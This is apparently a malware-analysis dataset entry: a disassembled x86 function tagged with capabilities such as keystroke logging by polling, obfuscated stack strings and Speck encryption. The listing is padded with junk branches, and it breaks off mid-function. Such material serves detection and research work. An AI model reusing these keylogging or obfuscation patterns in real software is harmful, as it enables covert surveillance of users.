Function at 0x100107c6
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encrypt data using speck
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10070032
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xe94
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x98], 0x68206240
mov dword [ebp - 0xa6c], 0xe831e341
mov dword [ebp - 0x98], 0x17
jmp 0x10010818
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0xfffffff5
jne 0x10010b7d
mov dword [ebp - 0xa0], 0x976ff55e
mov dword [ebp - 0x82c], 0x6e40424b
push 4
lea ecx, [ebp - 0xba0]
call fcn.1001f1f8
and dword [ebp - 4], 0
mov dword [ebp - 0x900], 8
mov dword [ebp - 0x290], 0
jmp 0x1001086d
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 4
jge 0x1001088f
push dword [ebp - 0x290]
lea ecx, [ebp - 0xba0]
call fcn.1001f296
mov dword [eax], 0xa2967684
jmp 0x10010860
mov dword [ebp - 0xa0], 2
jmp 0x100108a8
mov eax, dword [ebp - 0xa0]
dec eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 1
jle 0x10010b69
mov dword [ebp - 0x104], 0x1f2e9667
mov dword [ebp - 0x2a0], 0xfffffffe
push 1
lea ecx, [ebp - 0xae0]
call fcn.1001f1f8
mov byte [ebp - 4], 1
mov dword [ebp - 0x78], 0
jmp 0x100108ea
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x10010900
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x308], 0xffffffff
jmp 0x100108e3
mov dword [ebp - 0x78], 0
jmp 0x10010910
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x1001092c
push dword [ebp - 0x78]
lea ecx, [ebp - 0xae0]
call fcn.1001f296
mov dword [eax], 0xc9dffbe5
jmp 0x10010909
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xca0], eax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xd64], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xd6c], eax
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x104]
jge 0x1001096f
xor eax, eax
inc eax
je 0x1001096f
mov dword [ebp - 0x7fc], 1
jmp 0x10010976
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x7fc]
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x7c8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7c8]
mov dword [ebp + eax - 0x308], ecx
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0x7c8]
cmp eax, 0xab5c
jge 0x100109c0
mov dword [ebp - 0x7d0], 1
jmp 0x100109c7
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x7d0]
jl 0x100109e1
mov dword [ebp - 0x7d8], 1
jmp 0x100109e8
and dword [ebp - 0x7d8], 0
push 0
lea ecx, [ebp - 0xae0]
call fcn.1001f296
mov ecx, dword [ebp - 0x7d8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
neg eax
je 0x10010a1c
cmp dword [ebp - 0x104], 0
je 0x10010a1c
mov dword [ebp - 0x7e0], 1
jmp 0x10010a23
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x7e0]
je 0x10010a3d
mov dword [ebp - 0x81c], 1
jmp 0x10010a44
and dword [ebp - 0x81c], 0
cmp dword [ebp - 0xa0], 0x5a955069
jge 0x10010a5c
mov dword [ebp - 0x814], 1
jmp 0x10010a63
and dword [ebp - 0x814], 0
cmp dword [ebp - 0x814], 0xfb41ce09
jbe 0x10010a7b
mov dword [ebp - 0x824], 1
jmp 0x10010a82
and dword [ebp - 0x824], 0
push 2
lea ecx, [ebp - 0xba0]
call fcn.1001f296
mov ecx, dword [ebp - 0x81c]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0xae0]
call fcn.1001f296
mov ecx, dword [ebp - 0x824]
mov dword [eax], ecx
imul eax, dword [ebp - 0x900], 0xffff
test eax, eax
je 0x10010ad6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x308], 0
je 0x10010ad6
mov dword [ebp - 0x834], 1
jmp 0x10010add
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x98]
imul eax, dword [ebp - 0x834]
imul eax, eax, 0x1e16
cmp dword [ebp - 0x2a0], eax
jge 0x10010b1c
mov dword [ebp - 0x83c], 1
jmp 0x10010b23
and dword [ebp - 0x83c], 0
mov eax, dword [ebp - 0x83c]
imul eax, dword [ebp - 0x98]
mov dword [ebp - 0x8a8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8a8]
mov dword [ebp + eax - 0x308], ecx
mov eax, dword [ebp - 0x8a8]
mov dword [ebp - 0xa6c], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xae0]
call fcn.1001f27a
jmp 0x1001089b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xba0]
call fcn.1001f27a
jmp 0x1001080b
mov byte [ebp - 0xf8], 0
movzx eax, byte [ebp - 0xf8]
test eax, eax
je 0x10010b9a
push 0x199f
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
mov dword [ebp - 0xda0], 0x61928c17
mov dword [ebp - 0xd9c], 0x61928c17
mov dword [ebp - 0xd98], 0x61928c17
mov dword [ebp - 0xd94], 0x61928c17
mov dword [ebp - 0x204], 0
mov dword [ebp - 0xd74], 0xbfc3938d
mov dword [ebp - 0x204], 3
jmp 0x10010bef
mov eax, dword [ebp - 0x204]
dec eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0
jl 0x10010cd5
push 1
lea ecx, [ebp - 0xa48]
call fcn.1001f1f8
mov dword [ebp - 4], 2
mov dword [ebp - 0x1b4], 0
jmp 0x10010c29
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 1
jge 0x10010c4b
push dword [ebp - 0x1b4]
lea ecx, [ebp - 0xa48]
call fcn.1001f296
mov dword [eax], 1
jmp 0x10010c1c
push 0
lea ecx, [ebp - 0xa48]
call fcn.1001f296
mov dword [eax], 3
jmp 0x10010c84
push 0
lea ecx, [ebp - 0xa48]
call fcn.1001f296
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x850]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x850]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xa48]
call fcn.1001f296
cmp dword [eax], 0
jl 0x10010cc1
mov byte [ebp - 0xcd], 0
movzx eax, byte [ebp - 0xcd]
test eax, eax
je 0x10010cbf
push 0x1daa
push 0
push 0x23bb
push 0xc20
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
jmp 0x10010c60
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa48]
call fcn.1001f27a
jmp 0x10010be2
mov byte [ebp - 0xfc], 0
movzx eax, byte [ebp - 0xfc]
test eax, eax
je 0x10010cf2
push 0x4c4
call dword [sym.imp.USER32.dll_GetParent]
cmp dword [0x10619d78], 0
jne 0x100164ea
mov dword [ebp - 0x140], 0x2d5e48d3
mov dword [ebp - 0x140], 0
jmp 0x10010d22
mov eax, dword [ebp - 0x140]
dec eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0xffffffe5
jle 0x10010f5f
mov dword [ebp - 0x1bc], 0x8fc558ba
mov dword [ebp - 0xa04], 0x342f3d47
cmp dword [ebp - 0x1bc], 0
je 0x10010ebc
push 2
lea ecx, [ebp - 0xb1c]
call fcn.1001f1f8
mov dword [ebp - 4], 3
mov dword [ebp - 0xa90], 0x36729694
mov dword [ebp - 0x238], 0
jmp 0x10010d87
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 2
jge 0x10010da9
push dword [ebp - 0x238]
lea ecx, [ebp - 0xb1c]
call fcn.1001f296
mov dword [eax], 0xf5f49900
jmp 0x10010d7a
mov esi, dword [ebp - 0x140]
push 1
lea ecx, [ebp - 0xb1c]
call fcn.1001f296
cmp esi, dword [eax]
jl 0x10010dcc
mov dword [ebp - 0x9fc], 1
jmp 0x10010dd3
and dword [ebp - 0x9fc], 0
cmp dword [ebp - 0x1bc], 0x9c45
jg 0x10010deb
mov dword [ebp - 0x474], 1
jmp 0x10010df2
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0xa90]
cmp dword [ebp - 0x474], eax
jg 0x10010e0c
mov dword [ebp - 0x6b8], 1
jmp 0x10010e13
and dword [ebp - 0x6b8], 0
cmp dword [ebp - 0x6b8], 1
jne 0x10010e28
mov dword [ebp - 0x374], 1
jmp 0x10010e2f
and dword [ebp - 0x374], 0
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp - 0x374], eax
jge 0x10010e49
mov dword [ebp - 0x6c0], 1
jmp 0x10010e50
and dword [ebp - 0x6c0], 0
push 0
lea ecx, [ebp - 0xb1c]
call fcn.1001f296
mov eax, dword [eax]
dec eax
cmp eax, dword [ebp - 0x6c0]
jle 0x10010e74
mov dword [ebp - 0x37c], 1
jmp 0x10010e7b
and dword [ebp - 0x37c], 0
mov eax, dword [ebp - 0x1bc]
cmp eax, dword [ebp - 0x37c]
jge 0x10010e95
mov dword [ebp - 0x6c8], 1
jmp 0x10010e9c
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x6c8]
mov dword [ebp - 0xa04], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb1c]
call fcn.1001f27a
jmp 0x10010f5a
push 3
lea ecx, [ebp - 0xaf8]
call fcn.1001f1f8
mov dword [ebp - 4], 4
mov dword [ebp - 0x240], 0
jmp 0x10010ee9
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 3
jge 0x10010f0b
push dword [ebp - 0x240]
lea ecx, [ebp - 0xaf8]
call fcn.1001f296
mov dword [eax], 0xb166c193
jmp 0x10010edc
mov byte [ebp - 0xd5], 0
movzx eax, byte [ebp - 0xd5]
test eax, eax
je 0x10010f25
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 1
lea ecx, [ebp - 0xaf8]
call fcn.1001f296
cmp dword [eax], 0
je 0x10010f4b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaf8]
call fcn.1001f27a
jmp 0x10010d15
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaf8]
call fcn.1001f27a
jmp 0x10010d15
mov dword [ebp - 0x118], 0x8cccddd
push 2
lea ecx, [ebp - 0x8b4]
call fcn.1001f1f8
mov dword [ebp - 4], 5
push 3
lea ecx, [ebp - 0xbac]
call fcn.1001f1f8
mov byte [ebp - 4], 6
mov dword [ebp - 0x950], 0x21ebc5f9
mov dword [ebp - 0x64], 0
jmp 0x10010fa8
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x10010fc4
push dword [ebp - 0x64]
lea ecx, [ebp - 0x8b4]
call fcn.1001f296
mov dword [eax], 0xb168f92
jmp 0x10010fa1
mov dword [ebp - 0x64], 0
jmp 0x10010fd4
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x10010ff0
push dword [ebp - 0x64]
lea ecx, [ebp - 0xbac]
call fcn.1001f296
mov dword [eax], 1
jmp 0x10010fcd
cmp dword [ebp - 0x118], 1
jne 0x10011005
mov dword [ebp - 0x384], 1
jmp 0x1001100c
and dword [ebp - 0x384], 0
cmp dword [ebp - 0x384], 0xf66b17b7
je 0x10011024
mov dword [ebp - 0x6d0], 1
jmp 0x1001102b
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x6d0], eax
jge 0x10011045
mov dword [ebp - 0x38c], 1
jmp 0x1001104c
and dword [ebp - 0x38c], 0
cmp dword [ebp - 0x38c], 0x8f985589
ja 0x10011064
mov dword [ebp - 0x6d8], 1
jmp 0x1001106b
and dword [ebp - 0x6d8], 0
cmp dword [ebp - 0x6d8], 1
jae 0x10011080
mov dword [ebp - 0x394], 1
jmp 0x10011087
and dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x118]
add eax, dword [ebp - 0x394]
jne 0x100110a1
mov dword [ebp - 0x6e0], 1
jmp 0x100110a8
and dword [ebp - 0x6e0], 0
imul esi, dword [ebp - 0x6e0], 0
push 0
lea ecx, [ebp - 0x8b4]
call fcn.1001f296
mov dword [eax], esi
cmp dword [ebp - 0x118], 0x37b3047a
jge 0x100110d6
mov dword [ebp - 0x2ec], 1
jmp 0x100110dd
and dword [ebp - 0x2ec], 0
push 2
lea ecx, [ebp - 0xbac]
call fcn.1001f296
mov ecx, dword [ebp - 0x2ec]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x8b4]
call fcn.1001f296
mov esi, dword [ebp - 0x2ec]
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x8b4]
call fcn.1001f296
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0x8b4]
call fcn.1001f296
mov eax, dword [eax]
sub eax, esi
neg eax
mov dword [ebp - 0x39c], eax
push 1
lea ecx, [ebp - 0x8b4]
call fcn.1001f296
mov ecx, dword [ebp - 0x39c]
mov dword [eax], ecx
cmp dword [ebp - 0x39c], 0x658
jg 0x1001115d
mov dword [ebp - 0x94c], 1
jmp 0x10011164
and dword [ebp - 0x94c], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0xd7c], eax
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0xd84], eax
xor eax, eax
cmp eax, 0x1043
jbe 0x10011191
mov dword [ebp - 0x6e8], 1
jmp 0x10011198
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x950], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xbac]
call fcn.1001f27a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8b4]
call fcn.1001f27a
mov byte [ebp - 0x188], 0xb
mov byte [ebp - 0x187], 0x6f
mov byte [ebp - 0x186], 8
mov byte [ebp - 0x185], 0x42
mov byte [ebp - 0x184], 9
mov byte [ebp - 0x183], 0x4a
mov byte [ebp - 0x182], 5
mov byte [ebp - 0x181], 8
mov byte [ebp - 0x180], 6
mov byte [ebp - 0x17f], 0x5f
mov byte [ebp - 0x17e], 0
mov byte [ebp - 0x17d], 0x78
mov byte [ebp - 0x17c], 1
mov byte [ebp - 0x17b], 0x2e
mov byte [ebp - 0x17a], 4
mov byte [ebp - 0x179], 0
mov byte [ebp - 0x178], 3
mov byte [ebp - 0x177], 0xb
mov byte [ebp - 0x176], 7
mov byte [ebp - 0x175], 0x5c
mov byte [ebp - 0x174], 2
mov byte [ebp - 0x173], 0x40
mov byte [ebp - 0x172], 0xa
mov byte [ebp - 0x171], 0x1e
mov byte [ebp - 0x170], 4
mov byte [ebp - 0x16f], 0x94
mov byte [ebp - 0x16e], 0x5a
mov byte [ebp - 0x16d], 0xd3
mov byte [ebp - 0x16c], 0x98
push 4
lea ecx, [ebp - 0x84c]
call fcn.1001f1f8
mov dword [ebp - 4], 7
mov dword [ebp - 0xd8c], 1
mov dword [ebp - 0xa84], 0
mov dword [ebp - 0xa80], 0
mov dword [ebp - 0xa7c], 0
mov dword [ebp - 0xa78], 0
mov dword [ebp - 0x3a4], 0x3730
mov dword [ebp - 0x958], 0x10007a80
cmp dword [ebp - 0x3a4], 0x39ce
jle 0x100113d2
and dword [ebp - 0x1cc], 0
jmp 0x1001130d
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x2ffa
jge 0x100113d2
and dword [ebp - 0x1c4], 0
jmp 0x10011333
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x7a30
jge 0x100113cd
and dword [ebp - 0x248], 0
jmp 0x10011359
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x4ab1
jge 0x100113c8
and dword [ebp - 0x250], 0
jmp 0x1001137b
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x2cb3
jge 0x100113c6
mov ecx, dword [ebp - 0x1c4]
add ecx, dword [ebp - 0x248]
mov eax, dword [ebp - 0x1cc]
shl eax, cl
xor eax, dword [ebp - 0x250]
cdq
mov dword [ebp - 0x964], eax
mov dword [ebp - 0x960], edx
push dword [ebp - 0x960]
push dword [ebp - 0x964]
mov ecx, 0x10618c38
call fcn.1001efdc
jmp 0x1001136e
jmp 0x1001134c
jmp 0x10011326
jmp 0x10011300
mov dword [ebp - 0x144], 1
mov byte [ebp - 4], 8
cmp dword [ebp - 0x3a4], 0x363e
jge 0x100113fc
mov edx, dword [ebp - 0x958]
mov ecx, 0x10618c38
call fcn.100234ff
jmp 0x10011418
mov dword [ebp - 4], 7
jmp 0x10011428
push 3
lea ecx, [ebp - 0xb10]
call fcn.1001f1f8
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x700], 0xffff
mov dword [ebp - 0x28], 0
jmp 0x10011453
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1001146c
push dword [ebp - 0x28]
lea ecx, [ebp - 0x84c]
call fcn.1001f296
or dword [eax], 0xffffffff
jmp 0x1001144c
mov dword [ebp - 0x28], 0
jmp 0x1001147c
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x10011492
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xb24], 0xfffffffd
jmp 0x10011475
mov dword [ebp - 0x28], 0
jmp 0x100114a2
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x100114be
push dword [ebp - 0x28]
lea ecx, [ebp - 0xb10]
call fcn.1001f296
mov dword [eax], 0xeaf6082f
jmp 0x1001149b
push 0
lea ecx, [ebp - 0x84c]
call fcn.1001f296
cmp dword [eax], 0
je 0x100115a7
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x144]
inc ecx
mov dword [ebp - 0x144], ecx
test eax, eax
jne 0x10011594
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb24]
mov dword [ebp - 0xdc8], eax
cmp dword [ebp - 0x144], 4
jb 0x10011514
cmp dword [ebp - 0x144], 0
jne 0x10011526
mov eax, 0xffff
test eax, eax
jne 0x10011526
and dword [ebp - 0x6f0], 0
jmp 0x10011530
mov dword [ebp - 0x6f0], 1
push 2
lea ecx, [ebp - 0xb10]
call fcn.1001f296
mov ecx, dword [ebp - 0x6f0]
cmp ecx, dword [eax]
jle 0x10011553
mov dword [ebp - 0x3ac], 1
jmp 0x1001155a
and dword [ebp - 0x3ac], 0
push 2
lea ecx, [ebp - 0xb10]
call fcn.1001f296
mov ecx, dword [ebp - 0x3ac]
cmp ecx, dword [eax]
je 0x1001157d
mov dword [ebp - 0x9c8], 1
jmp 0x10011584
and dword [ebp - 0x9c8], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb24], 0
je 0x100115a7
push 3
pop eax
test eax, eax
je 0x100115a7
mov dword [ebp - 0x9d0], 1
jmp 0x100115ae
and dword [ebp - 0x9d0], 0
push 3
lea ecx, [ebp - 0x84c]
call fcn.1001f296
push 4
pop eax
imul eax, eax, 3
mov esi, dword [ebp + eax - 0xa84]
push 4
pop eax
imul eax, eax, 3
mov edi, dword [ebp + eax - 0xa84]
push 0
lea ecx, [ebp - 0x84c]
call fcn.1001f296
imul edi, dword [eax]
push 2
lea ecx, [ebp - 0x84c]
call fcn.1001f296
add edi, dword [eax]
cmp edi, esi
jge 0x10011604
mov dword [ebp - 0x6f8], 1
jmp 0x1001160b
and dword [ebp - 0x6f8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa84]
cmp dword [ebp - 0x6f8], eax
jge 0x1001162c
mov dword [ebp - 0x3b4], 1
jmp 0x10011633
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x700], eax
mov esi, dword [ebp - 0x700]
push 0
lea ecx, [ebp - 0x84c]
call fcn.1001f296
cmp dword [eax], esi
je 0x10011671
push 3
lea ecx, [ebp - 0x84c]
call fcn.1001f296
cmp dword [eax], 0
jne 0x10011671
and dword [ebp - 0x3bc], 0
jmp 0x1001167b
mov dword [ebp - 0x3bc], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp + eax - 0xa84], ecx
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xb10]
call fcn.1001f27a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x84c]
call fcn.1001f27a
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x188]
and eax, 3
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x188]
or ecx, 3
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x188]
mov word [ebp + eax*2 - 0xc64], cx
mov dword [ebp - 0x3c], 2
and dword [ebp - 0x258], 0
jmp 0x100116fe
mov eax, dword [ebp - 0x3c]
inc eax
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x1d
jae 0x10012304
push 2
lea ecx, [ebp - 0xa58]
call fcn.1001f1f8
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x894], 0xfffffff9
mov dword [ebp - 0x890], 0xfffffff9
mov dword [ebp - 0x88c], 0xfffffff9
mov dword [ebp - 0x888], 0xfffffff9
mov dword [ebp - 0x9d8], 0x89e1
push 3
lea ecx, [ebp - 0xbc4]
call fcn.1001f1f8
mov byte [ebp - 4], 0xc
mov dword [ebp - 0xdd0], 0xd416
mov dword [ebp - 0x18], 0
jmp 0x10011779
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10011792
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa58]
call fcn.1001f296
and dword [eax], 0
jmp 0x10011772
mov dword [ebp - 0x18], 0
jmp 0x100117a2
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x100117b8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xde8], 2
jmp 0x1001179b
mov dword [ebp - 0x18], 0
jmp 0x100117c8
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x100117e4
push dword [ebp - 0x18]
lea ecx, [ebp - 0xbc4]
call fcn.1001f296
mov dword [eax], 3
jmp 0x100117c1
mov dword [ebp - 0x18], 0
jmp 0x100117f4
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1001180a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xcac], 0
jmp 0x100117ed
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x894], 0
jmp 0x10011838
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x894]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x894], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x894], 1
jg 0x10011d08
mov dword [ebp - 0x110], 0xfffffff6
mov dword [ebp - 0x414], 0x933bd3e0
mov dword [ebp - 0x14c], 0x995e148c
mov dword [ebp - 0x9f0], 0xfffd
mov dword [ebp - 0x110], 1
jmp 0x1001188d
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jl 0x10011cf1
mov dword [ebp - 0x9e8], 0x5c68ab8a
mov dword [ebp - 0x1d4], 0
jmp 0x100118bd
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 1
jge 0x100118d9
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0x154], 0x607800ff
jmp 0x100118b0
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x894], 0
je 0x10011b70
mov dword [ebp - 0xb0], 0xffffffff
mov dword [ebp - 0x9e0], 0x909cc0f9
mov dword [ebp - 0xb0], 0
jmp 0x1001191a
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jg 0x10011b4c
mov dword [ebp - 0x728], 1
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xa58]
call fcn.1001f296
cmp dword [eax], 0x15aa961
jge 0x10011956
mov dword [ebp - 0x3ec], 1
jmp 0x1001195d
and dword [ebp - 0x3ec], 0
cmp dword [ebp - 0x414], 7
je 0x10011972
mov dword [ebp - 0x708], 1
jmp 0x10011979
and dword [ebp - 0x708], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x154]
cmp dword [ebp - 0x708], eax
je 0x1001199a
mov dword [ebp - 0x3c4], 1
jmp 0x100119a1
and dword [ebp - 0x3c4], 0
cmp dword [ebp - 0x3c4], 7
jne 0x100119bd
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x100119bd
mov dword [ebp - 0x710], 1
jmp 0x100119c4
and dword [ebp - 0x710], 0
cmp dword [ebp - 0x710], 0x5e4bc795
jg 0x100119ec
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x154], 0
je 0x100119ec
mov dword [ebp - 0x3cc], 1
jmp 0x100119f3
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x9d8]
add eax, dword [ebp - 0x3cc]
cmp eax, 0x95e2de4b
jae 0x10011a12
mov dword [ebp - 0x718], 1
jmp 0x10011a19
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x728]
cmp dword [ebp - 0x718], eax
jl 0x10011a33
mov dword [ebp - 0x3d4], 1
jmp 0x10011a3a
and dword [ebp - 0x3d4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3d4]
imul ecx, dword [ebp + eax - 0x894]
mov dword [ebp - 0x720], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x720]
mov dword [ebp + eax - 0xde8], ecx
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x154]
push 4
pop eax
imul eax, eax, 3
push dword [ebp + eax - 0x894]
lea ecx, [ebp - 0xa58]
call fcn.1001f296
mov eax, dword [eax]
imul eax, dword [ebp - 0x720]
cmp eax, esi
jl 0x10011aa5
mov dword [ebp - 0x3dc], 1
jmp 0x10011aac
and dword [ebp - 0x3dc], 0
cmp dword [ebp - 0x3dc], 0x75dd
jl 0x10011ac4
mov dword [ebp - 0x3e4], 1
jmp 0x10011acb
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x728]
cmp dword [ebp - 0x3e4], eax
jle 0x10011ae9
push 3
pop eax
test eax, eax
jne 0x10011ae9
and dword [ebp - 0x730], 0
jmp 0x10011af3
mov dword [ebp - 0x730], 1
mov esi, dword [ebp - 0x110]
push 1
lea ecx, [ebp - 0xa58]
call fcn.1001f296
mov ecx, dword [ebp - 0x730]
sub ecx, dword [eax]
cmp ecx, esi
je 0x10011b24
mov eax, 0x4be4
test eax, eax
jne 0x10011b24
and dword [ebp - 0x738], 0
jmp 0x10011b2e
mov dword [ebp - 0x738], 1
mov eax, dword [ebp - 0x3ec]
imul eax, dword [ebp - 0x738]
add eax, dword [ebp - 0xb0]
mov dword [ebp - 0x9e0], eax
jmp 0x1001190d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x154]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x9e8], eax
jmp 0x10011cae
mov dword [ebp - 0x748], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x154]
mov dword [ebp - 0xdd8], eax
cmp dword [ebp - 0x110], 0x990b51ec
je 0x10011ba5
mov dword [ebp - 0x3f4], 1
jmp 0x10011bac
and dword [ebp - 0x3f4], 0
mov eax, dword [ebp - 0x3f4]
neg eax
cmp eax, dword [ebp - 0x748]
jle 0x10011bc8
mov dword [ebp - 0x740], 1
jmp 0x10011bcf
and dword [ebp - 0x740], 0
push 0
lea ecx, [ebp - 0xbc4]
call fcn.1001f296
mov eax, dword [eax]
cmp eax, dword [ebp - 0x740]
jl 0x10011bf2
mov dword [ebp - 0x3fc], 1
jmp 0x10011bf9
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x3fc], eax
